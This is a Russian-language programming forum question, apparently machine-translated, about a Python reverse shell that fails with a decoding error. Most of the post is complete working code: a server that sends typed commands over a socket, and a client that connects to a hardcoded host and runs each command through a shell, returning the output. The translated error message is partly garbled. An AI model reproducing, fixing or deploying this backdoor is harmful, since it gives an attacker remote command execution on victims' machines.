отправлять команды с сервера на клиент, используя сокет python - PullRequest
0 голосов
/ 21 марта 2020

Я пытаюсь сделать обратную оболочку, используя python. Когда я пытаюсь отправить команды с сервера на клиент, я получаю следующую ошибку:

файл "client.py" строка 16, в output_str = str UnicodeDecoderError; код 'utf-8' c не может декодировать байт 0 * 82 в позиции 53: недопустимый начальный байт

server.py:

import socket
import sys

def create_socket():
    try:
        global host
        global port
        global s
        host=""
        port=9999
        s = socket.socket()
    except socket.error as msg:
        print("socket creation error" +str(msg))


def bind_socket():
    try:
        global host
        global port
        global s
        print("binding the port" + str(port))
        s.bind((host,port))
        s.listen(5)

    except socket.error as msg:
        print("socket binding error"+str(msg)+"\n" + "Retrying ....")
        bind_socket()

def send_commands(conn):
    while True:
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()

        if len(str.encode(cmd)) > 0  :
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024),"utf-8")
            print(client_response, end="")

def socket_accept():
            conn,address = s.accept()
            print("connection has been established" + "ip"+address[0]+"port" +str(address[1]))
            send_commands(conn)
            conn.close()


def main():
    create_socket()
    bind_socket()
    socket_accept()

main() 

client.py:

import socket
import os
import subprocess

s = socket.socket()
host = '192.168.7.99'
port = 9999

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True,stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,"utf-8")

        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str + currentWD))

        print(output_str)
...